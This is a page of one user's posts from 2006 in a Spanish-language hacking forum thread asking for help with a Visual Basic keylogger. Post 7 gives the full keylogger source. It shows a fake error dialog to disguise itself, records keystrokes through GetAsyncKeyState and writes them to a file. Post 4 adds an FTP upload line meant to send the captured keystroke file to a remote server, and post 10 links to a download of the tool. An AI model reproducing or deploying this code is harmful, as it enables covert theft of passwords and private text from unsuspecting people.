elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Mensajes
Páginas: [1] 2
1  Programación / Programación Visual Basic / Re: Ayuda kon Keylogger en: 6 Octubre 2006, 15:57 pm
oima che ra'a... che agregantema... msn pe... emondo cheve petei mensaje privado ... uperupi amondota ndeve la che email :D oimapa....
2  Programación / Programación Visual Basic / Re: Ayuda kon Keylogger en: 5 Octubre 2006, 20:19 pm
jajaja mba'e piuo rejapo nde ko'arupi... :p eñembo hacker se pio jajajaja
3  Programación / Programación Visual Basic / Re: Ayuda kon Keylogger en: 3 Octubre 2006, 22:10 pm
te podria agregar al msn? ...ydiskulpa por referirme a ti en primera persona :p xD
4  Programación / Programación Visual Basic / Re: Ayuda kon Keylogger en: 2 Octubre 2006, 19:21 pm
estuve provando la opcion que posteo Ubetor^^ y no me funciono... puse para que kada vez que se ejekute el keylogger haga ese proceso.. osea... al kargar el form... pero nada... lo estuve provando y no subio nada... no se si hice algo mal pero no me funciono yo hice de esta manera:
Código:
Inet1.Execute "ftp://user:password@ftp.usuarios.lycos.es", "PUT keys" & ".txt"

no se si esta bien... si hice algo mal que alguien me korrija porfa... :D
5  Programación / Programación Visual Basic / Re: Ayuda kon Keylogger en: 2 Octubre 2006, 18:45 pm
Gracias por todo! me gusta muxo... kreo que voy a probar esto de msinet... muxas gracias enserio  ;D ;D ;D
6  Programación / Programación Visual Basic / Re: Ayuda kon Keylogger en: 1 Octubre 2006, 19:28 pm
ven.. despues de 1 dia... nada jajaja... a ver kuando alguien me ayuda!!!!  :huh: :huh: :huh: :huh:
7  Programación / Programación Visual Basic / Re: Ayuda kon Keylogger en: 30 Septiembre 2006, 14:42 pm
pero aki va de nuevo...

Esto va en el form...

Código:
Private Sub Form_Load()
MsgBox "Error Al Ejecutar La Aplicación", 16, "Error"
GeHeNa_Texto_1 = ""
End Sub

Private Sub GeHeNa_Timer_1_Timer()
If ObtenerLaTeclaPresionada Then
GeHeNa_Texto_1.Text = GeHeNa_Texto_1.Text + Tecla_Presionada
End If
End Sub

esto va komo un modulo...

Código:
Private Declare Function EstadoDelTeclado Lib "user32" Alias "GetKeyboardState" _
(EstadoDeLaTecla As Byte) As Long
Const VK_CAPITAL = &H14
Private Declare Function EstadoDeLaTecla Lib "user32" _
Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer
Private Declare Function ObtenerSiSePresionoLaTecla Lib "user32" _
Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
Private Const Tecla_Shift As Integer = 16
Private Buscar_Tecla As Integer
Private Resultado_Tecla As Long
Private bShift As Boolean
Public Tecla_Presionada As String

Public Function ObtenerLaTeclaPresionada() As Boolean
Buscar_Tecla = 65
Do Until Buscar_Tecla = 91
Resultado_Tecla = ObtenerSiSePresionoLaTecla(Buscar_Tecla)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, Chr(Buscar_Tecla), LCase(Chr(Buscar_Tecla)))
Dim Estado As Boolean
Call CapsLock_rm(Estado)
If Estado = True Then
Tecla_Presionada = UCase(Tecla_Presionada)
End If
GoTo TeclaEncontrada
End If
Buscar_Tecla = Buscar_Tecla + 1
Loop
Buscar_Tecla = 48
Do Until Buscar_Tecla = 57
Resultado_Tecla = ObtenerSiSePresionoLaTecla(Buscar_Tecla)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
If Resultado_Tecla < 0 Then
If Buscar_Tecla = 48 Then Tecla_Presionada = "="
If Buscar_Tecla = 49 Then Tecla_Presionada = "!"
If Buscar_Tecla = 50 Then Tecla_Presionada = "'"
If Buscar_Tecla = 51 Then Tecla_Presionada = "#"
If Buscar_Tecla = 52 Then Tecla_Presionada = "$"
If Buscar_Tecla = 53 Then Tecla_Presionada = "%"
If Buscar_Tecla = 54 Then Tecla_Presionada = "^"
If Buscar_Tecla = 55 Then Tecla_Presionada = "&"
If Buscar_Tecla = 56 Then Tecla_Presionada = "*"
If Buscar_Tecla = 58 Then Tecla_Presionada = "("
Else
Tecla_Presionada = Chr(Buscar_Tecla)
End If
GoTo TeclaEncontrada
End If
Buscar_Tecla = Buscar_Tecla + 1
Loop
Resultado_Tecla = ObtenerSiSePresionoLaTecla(13)
If Resultado_Tecla = -32767 Then
Tecla_Presionada = vbCrLf
Open App.Path & "\" & "GeHeNa.txt" For Append As #1
Write #1, GeHeNa.GeHeNa_Texto_1.Text
Close #1
GeHeNa.GeHeNa_Texto_1.Text = ""
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(32)
If Resultado_Tecla = -32767 Then
Tecla_Presionada = " "
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(8)
If Resultado_Tecla = -32767 Then
Tecla_Presionada = " BKSP "
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(46)
If Resultado_Tecla = -32767 Then
Tecla_Presionada = " DEL "
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(190)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, ">", ".")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(188)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "<", ",")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(186)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, ":", ";")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(191)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "?", "/")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(222)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, """", "'")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(192)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "~", "`")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(189)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "_", "-")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(187)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "+", "=")
GoTo TeclaEncontrada
End If
ObtenerLaTeclaPresionada = False
Exit Function
TeclaEncontrada:
ObtenerLaTeclaPresionada = True
End Function

Public Sub CapsLock_rm(Estado As Boolean)
Dim EstadodelCapsLock As Boolean
Dim teclas(0 To 255) As Byte
EstadoDelTeclado teclas(0)
EstadodelCapsLock = teclas(VK_CAPITAL)
If EstadodelCapsLock <> True Then
Estado = False
ElseIf EstadodelCapsLock <> False Then
Estado = True
End If
End Sub
8  Programación / Programación Visual Basic / Re: Ayuda kon Keylogger en: 30 Septiembre 2006, 14:39 pm
ya lo comparti... pero nadie me hizo kaso debido a ello kite el kode...  :-( :-( :-(
9  Programación / Programación Visual Basic / Re: Ayuda kon Keylogger en: 29 Septiembre 2006, 17:02 pm
cri cri... porfis....
10  Programación / Programación Visual Basic / Re: Ayuda kon Keylogger en: 28 Septiembre 2006, 16:11 pm
bueno les dejo el kodigo fuente, espero que me ayuden kon esto, eso que semenciono me gusto :)... en fin, aki les dejo la URL del keyloger, chekenlo  ;D

http://yma.acid-lounge.com/archivos/GeHeNa.rar

 :rolleyes: :rolleyes: :rolleyes:
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines